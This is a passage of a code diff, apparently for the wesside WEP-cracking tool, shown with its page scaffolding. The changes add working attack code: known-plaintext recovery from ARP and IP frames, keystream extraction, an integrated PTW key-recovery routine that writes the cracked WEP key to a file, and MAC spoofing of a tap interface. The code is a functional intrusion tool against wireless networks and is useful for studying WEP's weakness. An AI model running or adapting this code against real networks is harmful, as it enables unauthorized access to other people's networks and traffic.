return wh->i_addr3;
|
||||
else
|
||||
return wh->i_addr2;
|
||||
}
|
||||
|
||||
void *get_da(struct ieee80211_frame *wh)
|
||||
{
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
|
||||
return wh->i_addr1;
|
||||
else
|
||||
return wh->i_addr3;
|
||||
}
|
||||
|
||||
int known_clear(void *clear, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
unsigned char *ptr = clear;
|
||||
|
||||
/* IP */
|
||||
if (!is_arp(wh, len)) {
|
||||
unsigned short iplen = htons(len - 8);
|
||||
|
||||
// printf("Assuming IP %d\n", len);
|
||||
|
||||
len = sizeof(S_LLC_SNAP_IP) - 1;
|
||||
memcpy(ptr, S_LLC_SNAP_IP, len);
|
||||
ptr += len;
|
||||
#if 1
|
||||
len = 2;
|
||||
memcpy(ptr, "\x45\x00", len);
|
||||
ptr += len;
|
||||
|
||||
memcpy(ptr, &iplen, len);
|
||||
ptr += len;
|
||||
#endif
|
||||
len = ptr - ((unsigned char*)clear);
|
||||
return len;
|
||||
}
|
||||
// printf("Assuming ARP %d\n", len);
|
||||
|
||||
/* arp */
|
||||
len = sizeof(S_LLC_SNAP_ARP) - 1;
|
||||
memcpy(ptr, S_LLC_SNAP_ARP, len);
|
||||
ptr += len;
|
||||
|
||||
/* arp hdr */
|
||||
len = 6;
|
||||
memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
|
||||
ptr += len;
|
||||
|
||||
/* type of arp */
|
||||
len = 2;
|
||||
if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
|
||||
memcpy(ptr, "\x00\x01", len);
|
||||
else
|
||||
memcpy(ptr, "\x00\x02", len);
|
||||
ptr += len;
|
||||
|
||||
/* src mac */
|
||||
len = 6;
|
||||
memcpy(ptr, get_sa(wh), len);
|
||||
ptr += len;
|
||||
|
||||
len = ptr - ((unsigned char*)clear);
|
||||
return len;
|
||||
}
|
||||
|
||||
void add_keystream(struct ieee80211_frame* wh, int rd)
|
||||
{
|
||||
unsigned char clear[1024];
|
||||
int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
|
||||
int clearsize;
|
||||
unsigned char *body = (unsigned char*) (wh+1);
|
||||
int i;
|
||||
|
||||
clearsize = known_clear(clear, wh, dlen);
|
||||
if (clearsize < 16)
|
||||
return;
|
||||
|
||||
for (i = 0; i < 16; i++)
|
||||
clear[i] ^= body[4+i];
|
||||
|
||||
PTW_addsession(ptw, body, clear);
|
||||
}
|
||||
|
||||
void got_wep(struct ieee80211_frame* wh, int rd) {
|
||||
int bodylen;
|
||||
int dlen;
|
||||
unsigned char *clear;
|
||||
unsigned char clear[1024];
|
||||
int clearsize;
|
||||
unsigned char *body;
|
||||
|
||||
@ -1355,7 +1476,12 @@ void got_wep(struct ieee80211_frame* wh, int rd) {
|
||||
( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
|
||||
memcmp(wh->i_addr2, mymac, 6) != 0) ) {
|
||||
|
||||
log_wep(body, dlen + 8);
|
||||
if (body[3] != 0) {
|
||||
time_print("Key index=%x!!\n", body[3]);
|
||||
exit(1);
|
||||
}
|
||||
log_wep(wh, rd);
|
||||
add_keystream(wh, rd);
|
||||
|
||||
// try to decrypt too
|
||||
try_dictionary(wh, rd);
|
||||
@ -1445,17 +1571,8 @@ void got_wep(struct ieee80211_frame* wh, int rd) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
time_print("Datalen=%d Assuming: ", dlen);
|
||||
if (dlen == ARPLEN || dlen == PADDED_ARPLEN) {
|
||||
clear = arp_clear;
|
||||
clearsize = sizeof(arp_clear) - 1;
|
||||
printf("ARP\n");
|
||||
} else {
|
||||
clear = ip_clear;
|
||||
clearsize = sizeof(ip_clear) - 1;
|
||||
printf("IP\n");
|
||||
}
|
||||
clearsize = known_clear(clear, wh, dlen);
|
||||
time_print("Datalen %d Known clear %d\n", dlen, clearsize);
|
||||
|
||||
set_prga(body, &body[4], clear, clearsize);
|
||||
}
|
||||
@ -1495,58 +1612,12 @@ void stuff_for_net(struct ieee80211_frame* wh, int rd) {
|
||||
}
|
||||
|
||||
void anal(unsigned char* buf, int rd, int tx) { // yze
|
||||
#define BIT(n) (1<<(n))
|
||||
struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
|
||||
struct ieee80211_radiotap_header* rth;
|
||||
struct ieee80211_frame* wh;
|
||||
struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
|
||||
int type,stype;
|
||||
static int lastseq = -1;
|
||||
int seq;
|
||||
unsigned short *seqptr;
|
||||
int for_us = 0;
|
||||
uint32_t present;
|
||||
uint8_t rflags;
|
||||
|
||||
// BPF
|
||||
rd -= bpfh->bh_hdrlen;
|
||||
if (bpfh->bh_caplen != bpfh->bh_datalen) {
|
||||
time_print("Warning: caplen=%d datalen=%d\n",
|
||||
bpfh->bh_caplen, bpfh->bh_datalen);
|
||||
}
|
||||
|
||||
if (rd != bpfh->bh_caplen) {
|
||||
#if 0
|
||||
// XXX
|
||||
printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen);
|
||||
hexdump(buf, rd+bpfh->bh_hdrlen);
|
||||
// exit(1);
|
||||
return;
|
||||
#endif
|
||||
// XXX what's going on
|
||||
assert( rd > bpfh->bh_caplen);
|
||||
rd = bpfh->bh_caplen;
|
||||
}
|
||||
|
||||
// RADIOTAP
|
||||
rth = (struct ieee80211_radiotap_header*)
|
||||
((unsigned char*) bpfh + bpfh->bh_hdrlen);
|
||||
/* check if FCS/CRC is included in packet */
|
||||
present = le32toh(rth->it_present);
|
||||
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
|
||||
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
|
||||
rflags = ((const uint8_t *)rth)[8];
|
||||
else
|
||||
rflags = ((const uint8_t *)rth)[0];
|
||||
} else
|
||||
rflags = 0;
|
||||
/* 802.11 CRC */
|
||||
if (rflags & IEEE80211_RADIOTAP_F_FCS)
|
||||
rd -= IEEE80211_CRC_LEN;
|
||||
|
||||
// 802.11
|
||||
wh = (struct ieee80211_frame*)
|
||||
((unsigned char*)rth + rth->it_len);
|
||||
rd -= rth->it_len;
|
||||
|
||||
if (rd < 1) {
|
||||
time_print("rd=%d\n", rd);
|
||||
@ -1606,7 +1677,6 @@ void anal(unsigned char* buf, int rd, int tx) { // yze
|
||||
stuff_for_net(wh, rd);
|
||||
}
|
||||
}
|
||||
#undef BIT
|
||||
}
|
||||
|
||||
void do_arp(unsigned char* buf, unsigned short op,
|
||||
@ -1990,13 +2060,15 @@ void can_write(int tx) {
|
||||
char* ptr;
|
||||
|
||||
strcpy(arp_ip, netip);
|
||||
ptr = strchr(arp_ip, '.');
|
||||
assert(ptr);
|
||||
ptr = strchr(++ptr, '.');
|
||||
assert(ptr);
|
||||
ptr = strchr(++ptr, '.');
|
||||
assert(ptr);
|
||||
strcpy(++ptr, "1");
|
||||
if (!netip_arg) {
|
||||
ptr = strchr(arp_ip, '.');
|
||||
assert(ptr);
|
||||
ptr = strchr(++ptr, '.');
|
||||
assert(ptr);
|
||||
ptr = strchr(++ptr, '.');
|
||||
assert(ptr);
|
||||
strcpy(++ptr, "1");
|
||||
}
|
||||
|
||||
if (gettimeofday(&arpsend, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
@ -2030,6 +2102,51 @@ void can_write(int tx) {
|
||||
}
|
||||
}
|
||||
|
||||
void save_key(unsigned char *key, int len)
|
||||
{
|
||||
char tmp[16];
|
||||
char k[32];
|
||||
int fd;
|
||||
int rd;
|
||||
|
||||
k[0] = 0;
|
||||
while (len--) {
|
||||
sprintf(tmp, "%.2X", *key++);
|
||||
strcat(k, tmp);
|
||||
if (len)
|
||||
strcat(k, ":");
|
||||
}
|
||||
|
||||
fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
|
||||
if (fd == -1)
|
||||
err(1, "open()");
|
||||
|
||||
printf("\nKey: %s\n", k);
|
||||
rd = write(fd, k, strlen(k));
|
||||
if (rd == -1)
|
||||
err(1, "write()");
|
||||
if (rd != strlen(k))
|
||||
errx(1, "write %d/%d\n", rd, strlen(k));
|
||||
close(fd);
|
||||
}
|
||||
|
||||
#define KEYLIMIT (1000000)
|
||||
int do_crack(void)
|
||||
{
|
||||
unsigned char key[PTW_KEYHSBYTES];
|
||||
|
||||
if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
|
||||
save_key(key, 13);
|
||||
return 1;
|
||||
}
|
||||
if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
|
||||
save_key(key, 5);
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void try_crack() {
|
||||
if (crack_pid) {
|
||||
printf("\n");
|
||||
@ -2049,35 +2166,8 @@ void try_crack() {
|
||||
|
||||
// child
|
||||
if (crack_pid == 0) {
|
||||
char bitz[16];
|
||||
char* args[] = { "aircrack", "wep.log", NULL };
|
||||
char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL };
|
||||
char* envp[] = { NULL };
|
||||
char **arg;
|
||||
|
||||
#if 1
|
||||
if (setsid() == -1)
|
||||
err(1, "setsid");
|
||||
#endif
|
||||
|
||||
close (1);
|
||||
close (2);
|
||||
|
||||
if (bits > 0) {
|
||||
snprintf(bitz, sizeof(bitz)-1, "%d", bits);
|
||||
arg = argb;
|
||||
}
|
||||
else
|
||||
arg = args;
|
||||
|
||||
/* NB: try local copy first; then installed dir */
|
||||
if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) {
|
||||
if (errno != ENOENT)
|
||||
err(1, "execve(%s)", CRACK_LOCAL_CMD);
|
||||
if (execve(CRACK_INSTALL_CMD, arg, envp) == -1)
|
||||
err(1, "execve(%s)", CRACK_INSTALL_CMD);
|
||||
}
|
||||
|
||||
if (!do_crack())
|
||||
printf("\nCrack unsuccessful\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@ -2154,32 +2244,6 @@ void open_tap() {
|
||||
time_print("Opened tap device: %s\n", tapdev);
|
||||
}
|
||||
|
||||
void set_tap_mac(unsigned char* mac) {
|
||||
int s;
|
||||
struct ifreq ifr;
|
||||
|
||||
s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
perror("socket()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strcpy(ifr.ifr_name, tapdev);
|
||||
|
||||
ifr.ifr_addr.sa_family = AF_LINK;
|
||||
ifr.ifr_addr.sa_len = 6;
|
||||
memcpy(ifr.ifr_addr.sa_data, mac, 6);
|
||||
|
||||
if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
|
||||
perror("ioctl(SIOCSIFLLADDR)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
close(s);
|
||||
time_print("Set tap MAC to: %s\n", mac2str(mac));
|
||||
}
|
||||
|
||||
void read_tap() {
|
||||
unsigned char buf[4096];
|
||||
struct ether_header* eh;
|
||||
@ -2258,6 +2322,95 @@ int elapsedd(struct timeval *past, struct timeval *now)
|
||||
return el;
|
||||
}
|
||||
|
||||
static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
|
||||
{
|
||||
#define BIT(n) (1<<(n))
|
||||
struct bpf_hdr *bpfh;
|
||||
struct ieee80211_radiotap_header *rth;
|
||||
uint32_t present;
|
||||
uint8_t rflags;
|
||||
void *ptr;
|
||||
static int nocrc = 0;
|
||||
|
||||
assert(*totlen);
|
||||
|
||||
/* bpf hdr */
|
||||
bpfh = (struct bpf_hdr*) (*data);
|
||||
assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
|
||||
*totlen -= bpfh->bh_hdrlen;
|
||||
|
||||
/* check if more packets */
|
||||
if ((int)bpfh->bh_caplen < *totlen) {
|
||||
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
|
||||
int offset = BPF_WORDALIGN(tot);
|
||||
|
||||
*data = (char*)bpfh + offset;
|
||||
*totlen -= offset - tot; /* take into account align bytes */
|
||||
} else if ((int)bpfh->bh_caplen > *totlen)
|
||||
abort();
|
||||
|
||||
*plen = bpfh->bh_caplen;
|
||||
*totlen -= bpfh->bh_caplen;
|
||||
assert(*totlen >= 0);
|
||||
|
||||
/* radiotap */
|
||||
rth = (struct ieee80211_radiotap_header*)
|
||||
((char*)bpfh + bpfh->bh_hdrlen);
|
||||
/* XXX cache; drivers won't change this per-packet */
|
||||
/* check if FCS/CRC is included in packet */
|
||||
present = le32toh(rth->it_present);
|
||||
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
|
||||
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
|
||||
rflags = ((const uint8_t *)rth)[8];
|
||||
else
|
||||
rflags = ((const uint8_t *)rth)[0];
|
||||
} else
|
||||
rflags = 0;
|
||||
*plen -= rth->it_len;
|
||||
assert(*plen > 0);
|
||||
|
||||
/* 802.11 CRC */
|
||||
if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
|
||||
*plen -= IEEE80211_CRC_LEN;
|
||||
nocrc = 1;
|
||||
}
|
||||
|
||||
ptr = (char*)rth + rth->it_len;
|
||||
|
||||
return ptr;
|
||||
#undef BIT
|
||||
}
|
||||
|
||||
static int read_packet(int fd, unsigned char *dst, int len)
|
||||
{
|
||||
static unsigned char buf[4096];
|
||||
static int totlen = 0;
|
||||
static unsigned char *next = buf;
|
||||
unsigned char *pkt;
|
||||
int plen;
|
||||
|
||||
assert(len > 0);
|
||||
|
||||
/* need to read more */
|
||||
if (totlen == 0) {
|
||||
totlen = read(fd, buf, sizeof(buf));
|
||||
if (totlen == -1) {
|
||||
totlen = 0;
|
||||
return -1;
|
||||
}
|
||||
next = buf;
|
||||
}
|
||||
|
||||
/* read 802.11 packet */
|
||||
pkt = get_80211(&next, &totlen, &plen);
|
||||
if (plen > len)
|
||||
plen = len;
|
||||
assert(plen > 0);
|
||||
memcpy(dst, pkt, plen);
|
||||
|
||||
return plen;
|
||||
}
|
||||
|
||||
void own(int wifd) {
|
||||
unsigned char buf[4096];
|
||||
int rd;
|
||||
@ -2275,8 +2428,23 @@ void own(int wifd) {
|
||||
|
||||
weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
|
||||
if (weplog.fd == -1) {
|
||||
struct pcap_file_header pfh;
|
||||
|
||||
memset(&pfh, 0, sizeof(pfh));
|
||||
pfh.magic = TCPDUMP_MAGIC;
|
||||
pfh.version_major = PCAP_VERSION_MAJOR;
|
||||
pfh.version_minor = PCAP_VERSION_MINOR;
|
||||
pfh.thiszone = 0;
|
||||
pfh.sigfigs = 0;
|
||||
pfh.snaplen = 65535;
|
||||
pfh.linktype = LINKTYPE_IEEE802_11;
|
||||
|
||||
weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
|
||||
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||
if (weplog.fd != -1) {
|
||||
if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
|
||||
err(1, "write()");
|
||||
}
|
||||
}
|
||||
else {
|
||||
time_print("WARNING: Appending in %s\n", WEP_FILE);
|
||||
@ -2314,7 +2482,8 @@ void own(int wifd) {
|
||||
close(fd);
|
||||
|
||||
open_tap();
|
||||
set_tap_mac(mymac);
|
||||
set_if_mac(mymac, tapdev);
|
||||
time_print("Set tap MAC to: %s\n", mac2str(mymac));
|
||||
|
||||
if (tapfd > wifd)
|
||||
largest = tapfd;
|
||||
@ -2444,7 +2613,7 @@ void own(int wifd) {
|
||||
if (rd != 0) {
|
||||
// wifi
|
||||
if (FD_ISSET(wifd, &rfd)) {
|
||||
rd = read(wifd, buf, sizeof(buf));
|
||||
rd = read_packet(wifd, buf, sizeof(buf));
|
||||
if (rd == 0)
|
||||
return;
|
||||
if (rd == -1) {
|
||||
@ -2525,6 +2694,10 @@ void start(char *dev) {
|
||||
|
||||
fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
|
||||
|
||||
ptw = PTW_newattackstate();
|
||||
if (!ptw)
|
||||
err(1, "PTW_newattackstate()");
|
||||
|
||||
own(fd);
|
||||
|
||||
#if 0
|
||||
@ -2621,6 +2794,7 @@ int main(int argc, char *argv[]) {
|
||||
|
||||
case 'n':
|
||||
netip = optarg;
|
||||
netip_arg = 1;
|
||||
break;
|
||||
|
||||
case 'r':
|
||||
|
Loading…
x
Reference in New Issue
Block a user